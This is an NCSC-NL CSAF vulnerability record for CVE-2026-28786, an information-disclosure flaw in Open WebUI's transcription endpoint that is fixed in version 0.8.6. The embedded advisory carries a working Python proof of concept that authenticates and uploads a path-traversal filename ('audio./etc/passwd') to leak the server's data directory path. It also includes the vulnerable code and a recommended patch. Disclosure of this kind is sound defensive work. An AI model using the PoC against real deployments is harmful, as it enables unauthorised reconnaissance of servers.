{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-28786",
        "tracking": {
            "current_release_date": "2026-03-30T18:26:04.128854Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-28786",
            "initial_release_date": "2026-03-27T00:24:54.891220Z",
            "revision_history": [
                {
                    "date": "2026-03-27T00:24:54.891220Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T00:24:58.434746Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-27T00:38:35.640318Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T00:38:49.411783Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T07:36:02.136856Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T19:43:45.154150Z",
                    "number": "6",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-27T19:43:47.977952Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T21:04:16.815332Z",
                    "number": "8",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-27T21:04:22.397885Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-28T07:41:34.461916Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-28T07:41:35.861347Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-28T11:28:31.124190Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-30T18:25:51.568817Z",
                    "number": "13",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-30T18:25:52.966527Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "14"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.8.6",
                                "product": {
                                    "name": "vers:unknown/<0.8.6",
                                    "product_id": "CSAFPID-5920657"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "open-webui"
                    }
                ],
                "category": "vendor",
                "name": "open-webui"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.8.6",
                                "product": {
                                    "name": "vers:unknown/<0.8.6",
                                    "product_id": "CSAFPID-5965493",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "open_webui"
                    }
                ],
                "category": "vendor",
                "name": "openwebui"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-28786",
            "cwe": {
                "id": "CWE-209",
                "name": "Generation of Error Message Containing Sensitive Information"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, an unsanitized filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message — including the server's absolute `DATA_DIR` path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments. Version 0.8.6 patches the issue.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28786"
                },
                {
                    "category": "description",
                    "text": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, an unsanitized filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message — including the server's absolute `DATA_DIR` path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments. Version 0.8.6 patches the issue.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28786.json"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nAn unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message — including the server's absolute `DATA_DIR` path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.\n\n### Details\n\n`backend/open_webui/routers/audio.py:1197` extracts a file extension from the raw multipart `filename` using `file.filename.split(\".\")[-1]` with no path sanitisation. The result is concatenated into a filesystem path and passed to `open()`:\n\n```python\next       = file.filename.split(\".\")[-1]       # attacker-controlled, no sanitisation\nfilename  = f\"{id}.{ext}\"                      # may contain \"/\"\nfile_path = f\"{file_dir}/{filename}\"\nwith open(file_path, \"wb\") as f:\n    f.write(contents)\n```\n\nIf the filename is `audio./etc/passwd`, `split(\".\")[-1]` yields `/etc/passwd` and the assembled path becomes:\n\n```\n{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd\n```\n\n`open()` fails with `FileNotFoundError`. The outer `except` block at line 1231 returns the exception via `ERROR_MESSAGES.DEFAULT(e)`, leaking the full absolute path in the response body.\n\nThe MIME-type guard at line 1190 checks `Content-Type` (a separate multipart field) and does not constrain `filename`. Setting `Content-Type: audio/wav` satisfies the guard regardless of the filename value.\n\nThis handler is the only file upload path in the codebase that omits `os.path.basename()`. Both sibling handlers apply it explicitly:\n\n```python\n# files.py:244\nfilename = os.path.basename(file.filename)\n\n# pipelines.py:206\nfilename = os.path.basename(file.filename)\n```\n\n**Recommended fix** — match the existing pattern and suppress path leakage in errors:\n\n```python\n# audio.py:1197 — sanitise extension\nfrom pathlib import Path\nsafe_name = Path(file.filename).name\next = Path(safe_name).suffix.lstrip(\".\") or \"bin\"\n\n# audio.py:1231 — suppress internal path in error response\nexcept Exception as e:\n    log.exception(e)\n    raise HTTPException(status_code=400, detail=\"Transcription failed.\")\n```\n\n---\n\n### PoC\n\n**Requirements:** a running Open WebUI instance and one standard (non-admin) user account.\n\n```bash\ndocker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest\n# wait ~30 s, register a standard user at http://localhost:3000\npip install requests\n```\n\n```python\nimport requests, sys\n\nBASE_URL = \"http://localhost:3000\"\nEMAIL    = \"user@example.com\"\nPASSWORD = \"changeme\"\n\ntoken = requests.post(f\"{BASE_URL}/api/v1/auths/signin\",\n                      json={\"email\": EMAIL, \"password\": PASSWORD},\n                      timeout=10).json()[\"token\"]\n\nboundary = \"----Boundary\"\nwav_stub = b\"RIFF\\x00\\x00\\x00\\x00WAVE\"\nbody = (\n    f'--{boundary}\\r\\nContent-Disposition: form-data; name=\"file\"; '\n    f'filename=\"audio./etc/passwd\"\\r\\nContent-Type: audio/wav\\r\\n\\r\\n'\n).encode() + wav_stub + f\"\\r\\n--{boundary}--\\r\\n\".encode()\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v1/audio/transcriptions\",\n    data=body,\n    headers={\"Authorization\": f\"Bearer {token}\",\n             \"Content-Type\": f\"multipart/form-data; boundary={boundary}\"},\n    timeout=15,\n)\nprint(resp.status_code, resp.text)\n```\n\n**Observed output (live test, commit `b8112d72b`):**\n\n```\n400 {\"detail\":\"[ERROR: [Errno 2] No such file or directory:\n'/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']\"}\n```\n\nThe absolute `DATA_DIR` path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.\n\n**Note on the write primitive:** the traversal path includes a fresh UUID segment (`{uuid}.`) that never pre-exists as a directory, so `open()` is OS-blocked in all practical scenarios. The impact is information disclosure only.\n\n---\n\n### Impact\nAny authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute `DATA_DIR` filesystem path. The route is gated by `get_verified_user` — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.\n\n> **AI Disclosure:** Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit `b8112d72b`. All code references were verified by the reporter, who accepts full responsibility for accuracy.",
                    "title": "github - https://api.github.com/advisories/GHSA-vvxm-vxmr-624h"
                },
                {
                    "category": "other",
                    "text": "0.0002",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.7",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to CWE-209 (Generation of Error Message Containing Sensitive Information)",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd, Is related to an uncommon product vendor, There is cwe data available from source Nvd, The value of the most recent CVSS (V3) score",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5920657",
                    "CSAFPID-5965493"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28786"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28786.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-vvxm-vxmr-624h"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vvxm-vxmr-624h"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28786"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/open-webui/open-webui/commit/387225eb8b3906909436004f84fff1b012e067d4"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-vvxm-vxmr-624h"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
                        "baseScore": 4.3,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-5920657",
                        "CSAFPID-5965493"
                    ]
                }
            ],
            "title": "CVE-2026-28786"
        }
    ]
}